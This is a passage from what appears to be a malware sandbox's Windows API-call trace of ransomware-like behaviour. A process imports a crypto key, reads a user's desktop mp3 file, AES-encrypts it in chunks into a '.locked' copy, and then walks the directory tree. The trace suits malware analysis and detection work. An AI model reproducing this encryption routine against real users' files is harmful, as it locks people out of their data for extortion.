(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0128.187] SystemFunction041 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.187] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0128.187] SystemFunction040 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.187] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0128.187] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0128.187] SystemFunction041 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.187] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0128.187] SystemFunction040 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.187] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0128.187] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0128.187] SystemFunction041 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.188] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0128.188] SystemFunction040 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.188] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0128.188] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0128.188] SystemFunction041 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.188] SystemFunction040 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.188] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0128.188] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0128.188] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0128.188] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0128.189] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0128.189] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0128.189] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0128.189] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0128.189] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae960*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae960*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x51, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.189] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0128.189] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0128.190] CryptAcquireContextW (in: phProv=0x99ae6e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae6e0*=0x43964e8) returned 1 [0128.191] CryptImportKey (in: hProv=0x43964e8, pbData=0x6a14ea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aeab8 | out: phKey=0x99aeab8*=0x8e84db8) returned 1 [0128.191] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.191] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae7b8, nSize=0x100 | out: lpBuffer="\x4d98\x6a1") returned 0x0 [0128.191] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb90*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb90*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x52, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.191] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaf0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaf0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x51, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.191] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x52, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x52, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.192] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\h7vubsujwcgym4u.mp3")) returned 0x20 [0128.192] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\h7vubsujwcgym4u.mp3")) returned 0x20 [0128.192] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", nBufferLength=0x105, lpBuffer=0x99ae470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", lpFilePart=0x0) returned 0x31 [0128.192] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", nBufferLength=0x105, lpBuffer=0x99ae434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", lpFilePart=0x0) returned 0x31 [0128.193] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeb1c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb1c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x52, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.193] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", lpFilePart=0x0) returned 0x31 [0128.194] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", lpFilePart=0x0) returned 0x31 [0128.194] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.194] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x53, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.194] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x52, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.194] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x53, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x53, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.194] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", lpFilePart=0x0) returned 0x31 [0128.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0128.195] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\h7vubsujwcgym4u.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x868 [0128.195] GetFileType (hFile=0x868) returned 0x1 [0128.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0128.195] GetFileType (hFile=0x868) returned 0x1 [0128.195] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x53, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.196] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe3b0\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0128.196] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x54, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.196] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x53, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.196] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x54, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x54, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.197] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3.locked", lpFilePart=0x0) returned 0x38 [0128.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0128.197] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\h7vubsujwcgym4u.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0128.198] GetFileType (hFile=0x858) returned 0x1 [0128.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0128.198] GetFileType (hFile=0x858) returned 0x1 [0128.198] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x54, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.198] CryptGenRandom (in: hProv=0x43964e8, dwLen=0x10, pbBuffer=0x6a2a84c | out: pbBuffer=0x6a2a84c) returned 1 [0128.199] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.199] CryptDuplicateKey (in: hKey=0x8e84db8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae6bc | out: phKey=0x99ae6bc*=0x8e84bb8) returned 1 [0128.199] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.199] CryptSetKeyParam (hKey=0x8e84bb8, dwParam=0x4, pbData=0x6a2bb08*=0x1, dwFlags=0x0) returned 1 [0128.199] CryptSetKeyParam (hKey=0x8e84bb8, dwParam=0x1, pbData=0x6a2bad4, dwFlags=0x0) returned 1 [0128.200] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\xe2f0\x99a\x18b2\x7477\xfea0\x437\x242") returned 0x0 [0128.200] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x55, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.200] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x54, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.200] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x55, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x55, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.200] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x55, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.201] ReadFile (in: hFile=0x868, lpBuffer=0x6a2f064, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x6a2f064*, lpNumberOfBytesRead=0x99ae6cc*=0x14000, lpOverlapped=0x0) returned 1 [0128.201] CryptEncrypt (in: hKey=0x8e84bb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a43070*, pdwDataLen=0x99ae6c0*=0x14000, dwBufLen=0x14000 | out: pbData=0x6a43070*, pdwDataLen=0x99ae6c0*=0x14000) returned 1 [0128.201] WriteFile (in: hFile=0x858, lpBuffer=0x6a2a90c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x6a2a90c*, lpNumberOfBytesWritten=0x99ae6a4*=0x1000, lpOverlapped=0x0) returned 1 [0128.202] WriteFile (in: hFile=0x858, lpBuffer=0x6a4405c*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x6a4405c*, lpNumberOfBytesWritten=0x99ae6a4*=0x13014, lpOverlapped=0x0) returned 1 [0128.204] ReadFile (in: hFile=0x868, lpBuffer=0x6a2f064, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x6a2f064*, lpNumberOfBytesRead=0x99ae6cc*=0x971, lpOverlapped=0x0) returned 1 [0128.204] CryptEncrypt (in: hKey=0x8e84bb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a57094*, pdwDataLen=0x99ae6c0*=0x970, dwBufLen=0x970 | out: pbData=0x6a57094*, pdwDataLen=0x99ae6c0*=0x970) returned 1 [0128.204] ReadFile (in: hFile=0x868, lpBuffer=0x6a2f064, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x6a2f064*, lpNumberOfBytesRead=0x99ae6cc*=0x0, lpOverlapped=0x0) returned 1 [0128.204] CryptEncrypt (in: hKey=0x8e84bb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a57a28*, pdwDataLen=0x99ae714*=0x10, dwBufLen=0x10 | out: pbData=0x6a57a28*, pdwDataLen=0x99ae714*=0x10) returned 1 [0128.204] CryptEncrypt (in: hKey=0x8e84bb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a57a5c*, pdwDataLen=0x99ae71c*=0x0, dwBufLen=0x10 | out: pbData=0x6a57a5c*, pdwDataLen=0x99ae71c*=0x10) returned 1 [0128.204] WriteFile (in: hFile=0x858, lpBuffer=0x6a2a90c*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x99ae6ec, lpOverlapped=0x0 | out: lpBuffer=0x6a2a90c*, lpNumberOfBytesWritten=0x99ae6ec*=0x980, lpOverlapped=0x0) returned 1 [0128.204] CloseHandle (hObject=0x858) returned 1 [0128.209] CloseHandle (hObject=0x868) returned 1 [0128.210] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", lpFilePart=0x0) returned 0x31 [0128.210] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.210] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.210] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x55, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.210] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.211] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\h7vubsujwcgym4u.mp3")) returned 0x20 [0128.212] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", nBufferLength=0x105, lpBuffer=0x99adec4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", lpFilePart=0x0) returned 0x31 [0128.212] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0128.212] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0128.212] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0128.212] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0128.212] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0128.212] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0128.212] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0128.213] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0128.213] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0128.213] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0128.213] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0128.213] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0128.213] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0128.213] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0128.213] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 